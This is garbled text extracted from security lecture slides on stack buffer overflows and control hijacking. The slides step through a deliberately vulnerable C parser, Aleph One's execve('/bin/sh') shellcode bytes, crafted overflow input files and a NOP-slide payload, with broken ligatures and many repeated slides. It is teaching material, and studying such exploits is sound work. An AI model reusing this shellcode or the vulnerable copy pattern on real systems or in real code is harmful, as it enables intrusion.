  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
0xbffff6c4!
0x00000001!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000025!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
And	
  when	
  you	
  try	
  to	
  return	
  from	
  parse…	
  
…	
  SEGFAULT,	
  since	
  0x61616161	
  is	
  not	
  	
  a	
  
valid	
  locaTon	
  to	
  return	
  to.	
  
Basic	
  Stack	
  Exploit	
  
• OverwriTng	
  the	
  return	
  address	
  allows	
  an	
  a8acker	
  to	
  
redirect	
  the	
  flow	
  of	
  program	
  control	
  
• Instead	
  of	
  crashing,	
  this	
  can	
  allow	
  arbitrary	
  code	
  to	
  be	
  
executed	
  	
  
– Code	
  segment	
  called	
  “shellcode”	
  
• Example:	
  the	
  execve	
  system	
  call	
  is	
  used	
  to	
  execute	
  a	
  file	
  
– With	
  the	
  correct	
  permissions,	
  execve(“/bin/sh”)	
  can	
  be	
  used	
  to	
  
obtain	
  a	
  root-­‐level	
  shell.	
  
Dawn	
  Song	
   20	
  
Shellcode	
  of	
  execve	
  
• How	
  to	
  develop	
  shellcode	
  that	
  runs	
  as	
  execve(“/bin/sh”)?	
  
void	
  main()	
  {	
  
	
  	
  	
  char	
  *name[2];	
  
	
  
	
  	
  	
  name[0]	
  =	
  "/bin/sh";	
  
	
  	
  	
  name[1]	
  =	
  NULL;	
  
	
  	
  	
  execve(name[0],	
  name,	
  NULL);	
  
}	
  
0x80002bc	
  <__execve>:	
  	
  	
  pushl	
  	
  %ebp	
  
0x80002bd	
  <__execve+1>:	
  movl	
  	
  	
  %esp,%ebp	
  
0x80002bf	
  <__execve+3>:	
  pushl	
  	
  %ebx	
  
	
  The	
  procedure	
  prelude.	
  
	
  
0x80002c0	
  <__execve+4>:	
  movl	
  	
  	
  $0xb,%eax	
  
	
  Copy	
  0xb	
  (11	
  decimal)	
  onto	
  the	
  stack.	
  This	
  is	
  the	
  
	
  index	
  into	
  the	
  syscall	
  table.	
  	
  11	
  is	
  execve.	
  
	
  
0x80002c5	
  <__execve+9>:	
  movl	
  	
  	
  0x8(%ebp),%ebx	
  
	
  Copy	
  the	
  address	
  of	
  "/bin/sh"	
  into	
  EBX.	
  
	
  
0x80002c8	
  <__execve+12>:	
  	
  	
  	
  	
  	
  	
  	
  movl	
  	
  	
  0xc(%ebp),%ecx	
  
	
  Copy	
  the	
  address	
  of	
  name[]	
  into	
  ECX.	
  
	
  
0x80002cb	
  <__execve+15>:	
  	
  	
  	
  	
  	
  	
  	
  movl	
  	
  	
  0x10(%ebp),%edx	
  
	
  Copy	
  the	
  address	
  of	
  the	
  null	
  pointer	
  into	
  %edx.	
  
	
  
0x80002ce	
  <__execve+18>:	
  	
  	
  	
  	
  	
  	
  	
  int	
  	
  	
  	
  $0x80	
  
	
  Change	
  into	
  kernel	
  mode.	
  
(disassembly	
  of	
  execve	
  call)*	
  
(format	
  instrucTons	
  and	
  data	
  as	
  characters)*	
  
*For	
  more	
  details,	
  refer	
  to	
  Smashing	
  the	
  stack	
  by	
  aleph	
  one	
  
“xebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcd
x80x31xdbx89xd8x40xcdx80xe8xdcxff
xffxff/bin/sh”	
  
Dawn	
  Song	
   21	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
buffer	
  
ShellCode	
  
	
  
	
  
craZed	
  return	
  address	
  
buffer	
  
Basic	
  Stack	
  Exploit	
  
To	
  previous	
  stack	
  
	
  frame	
  pointer	
  
To	
  	
  the	
  instrucTon	
  at	
  which	
  
	
  this	
  funcTon	
  was	
  called	
  
“xebx1fx5ex89x76x08x31xc0x88x46x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcd
x80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh”	
  
So	
  suppose	
  we	
  overflow	
  with	
  a	
  string	
  that	
  looks	
  like	
  the	
  assembly	
  of:	
  
Shell	
  Code: 	
  exec(“/bin/sh”)	
  
(exact	
  shell	
  code	
  by	
  Aleph	
  One)	
  
When	
  the	
  funcTon	
  exits,	
  the	
  user	
  gets	
  shell	
  !!!	
  
Note:	
  shellcode	
  runs	
  in	
  stack.	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
buffer	
  
To	
  previous	
  stack	
  
	
  frame	
  pointer	
  
To	
  	
  the	
  instrucTon	
  
at	
  which	
  	
  this	
  
funcTon	
  was	
  called	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
Basic	
  Stack	
  Exploit	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125
.	
  
.	
  
cmd[25,26,27,28]	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
0xbffff7d8
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
0xfffff764!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff
xffAAAAxebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
Basic	
  Stack	
  Exploit	
  
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff
xffAAAAxebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125
.	
  
.	
  
cmd[25,26,27,28]	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
0xbffff7d8
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x08048564!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
0xfffff764!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
0xbffff760
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
OVERWRITE	
  POINT!	
  
Basic	
  Stack	
  Exploit	
  
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff
xffAAAAxebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125
.	
  
.	
  
cmd[25,26,27,28]	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
0xbffff7d8
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x0804f764!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
0xfffff764!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
0xbffff760
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
OVERWRITE	
  POINT!	
  
Basic	
  Stack	
  Exploit	
  
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff
xffAAAAxebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125
.	
  
.	
  
cmd[25,26,27,28]	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
0xbffff7d8
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x08fff764!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
0xfffff764!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
0xbffff760
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
OVERWRITE	
  POINT!	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125
.	
  
.	
  
cmd[25,26,27,28]	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
0xbffff7d8
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0xfffff764!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
0xfffff764!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
0xbffff760
Basic	
  Stack	
  Exploit	
  
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff
xffAAAAxebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
0xbffff764
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
OVERWRITE	
  POINT!	
  
Basic	
  Stack	
  Exploit	
  
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAx64xf7xff
xffAAAAxebx1fx5e
x89x76x08x31xc0x88x46x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125
.	
  
.	
  
cmd[25,26,27,28]	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
shellcode!
0x61616161!
0xfffff764!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
0xfffff764!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
0xbffff760
0xbffff764
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
0xbffff7d8
.
.
0xbffff6c4
0xbffff6c0
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
	
  
ACTIVATE	
  POINT!	
  
Shellcode	
  
-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐	
  
NOP	
  
NOP	
  
.	
  
.	
  
.	
  
NOP	
  
craZed	
  return	
  address	
  
buffer	
  
The	
  NOP	
  Slide	
  
‘/x90’	
  
Problem:	
  how	
  does	
  a8acker	
  
determine	
  ret-­‐address?	
  
SoluTon:	
  NOP	
  slide	
  
• Guess	
  approximate	
  stack	
  state	
  when	
  the	
  funcTon	
  
is	
  called	
  
• Insert	
  many	
  NOPs	
  before	
  Shell	
  Code	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
buffer	
  
To	
  previous	
  stack	
  
	
  frame	
  pointer	
  
To	
  	
  the	
  instrucTon	
  
at	
  which	
  	
  this	
  
funcTon	
  was	
  called	
  
The	
  NOP	
  Slide	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
?,?,?,buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
shellcode!
0x90909090!
0x90909090!
.!
.!
.!
0x90909090!
0x90909090!
0xfffff764!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAx64xf7xffxff/x90/x90/
x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/
x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/
x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/
x90/x90xebx1fx5ex89x76x08x31xc0x88x46x46x0c
xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb
x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh	
  
(input	
  file)	
  
(copy_lower)	
  
0xbffff764
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
More	
  on	
  Stack	
  Smashing	
  
• Some	
  complicaTons	
  on	
  Shellcode:	
  
– Overflow	
  should	
  not	
  crash	
  program	
  before	
  the	
  
frame’s	
  funcTon	
  exits	
  
– Shellcode	
  may	
  not	
  contain	
  the	
  ‘0’	
  character	
  if	
  copied	
  
using	
  strcpy	
  funcTons.	
  
• Sample	
  remote	
  stack	
  smashing	
  overflows:	
  
– (2007)	
  Overflow	
  in	
  Windows	
  animated	
  cursors	
  (ANI)	
  
– (2005)	
  Overflow	
  in	
  SymanTc	
  Virus	
  DetecTon	
  
Dawn	
  Song	
   31	
  
Many	
  unsafe	
  libc	
  funcTons	
  
	
  strcpy	
  (char	
  *dest,	
  	
  const	
  char	
  *src)	
  
	
  strcat	
  (char	
  *de	
  st,	
  const	
  char	
  *src)	
  
	
  gets	
  (char	
  *s)	
  
	
  scanf	
  (	
  const	
  char	
  *format,	
  …	
  )	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  and	
  many	
  more.	
  
• “Safe”	
  libc	
  versions	
  	
  strncpy(),	
  strncat()	
  	
  are	
  misleading	
  
– e.g.	
  	
  strncpy()	
  	
  	
  may	
  leave	
  string	
  unterminated.	
  
• Windows	
  C	
  run	
  Tme	
  	
  (CRT):	
  
– strcpy_s	
  (*dest,	
  DestSize,	
  *src):	
  	
  	
  ensures	
  proper	
  terminaTon	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
buffer	
  
ShellCode	
  
	
  
	
  
craZed	
  return	
  address	
  
buffer	
  
To	
  previous	
  stack	
  
	
  frame	
  pointer	
  
To	
  	
  the	
  instrucTon	
  at	
  which	
  
	
  this	
  funcTon	
  was	
  called	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
buffer	
  
General	
  Control	
  Hijacking:	
  Return	
  Address	
  
Overwrite	
  Step:	
  Overwrite	
  return	
  address	
  to	
  point	
  to	
  your	
  code.	
  
Ac9vate	
  Step:	
  Return	
  out	
  of	
  frame	
  and	
  into	
  your	
  code.	
   Dawn	
  Song	
   33	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
local	
  funcTon	
  pointer	
  
buffer	
  
ShellCode	
  
	
  
	
  
craZed	
  local	
  func9on	
  pointer	
  
buffer	
  
To	
  instrucTons	
  for	
  a	
  
funcTon	
  
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
local	
  funcTon	
  pointer	
  
buffer	
  
General	
  Control	
  Hijacking:	
  Local	
  Fn	
  Ptr	
  
Overwrite	
  Step:	
  Overwrite	
  local	
  funcTon	
  pointer	
  to	
  point	
  to	
  your	
  code.	
  
Ac9vate	
  Step:	
  Call	
  that	
  local	
  funcTon	
  variable.	
   Dawn	
  Song	
   34	
  
General	
  Control	
  Hijacking:	
  
FuncTon	
  Pointer	
  in	
  the	
  Heap	
  
Overwrite	
  Step:	
  Overwrite	
  entries	
  in	
  a	
  vtable	
  for	
  Object	
  T.	
  
Ac9vate	
  Step:	
  Call	
  any	
  method	
  from	
  Object	
  T	
  
ptr	
  
data	
  
Object	
  T	
  
FP1:	
  
FP2:	
  
FP3:	
  
buffer	
  
vtable	
  
method	
  #1	
  
method	
  #2	
  
method	
  #3	
  
ptr	
  
data	
  
Object	
  T	
  
FP1:	
  
FP2:	
  
FP3:	
  
buffer	
  
vtable	
  
method	
  #1	
  
method	
  #2	
  
method	
  #3	
  
ptr	
  
data	
  
Object	
  T	
  
craZed	
  FP1:	
  
craZed	
  FP2:	
  
craZed	
  FP3:	
  
buffer	
  
vtable	
  
shellcode	
  
shellcode	
  
shellcode	
  	
  
Dawn	
  Song	
   35	
  
General	
  Control	
  Hijacking:	
  
FuncTon	
  Pointer	
  in	
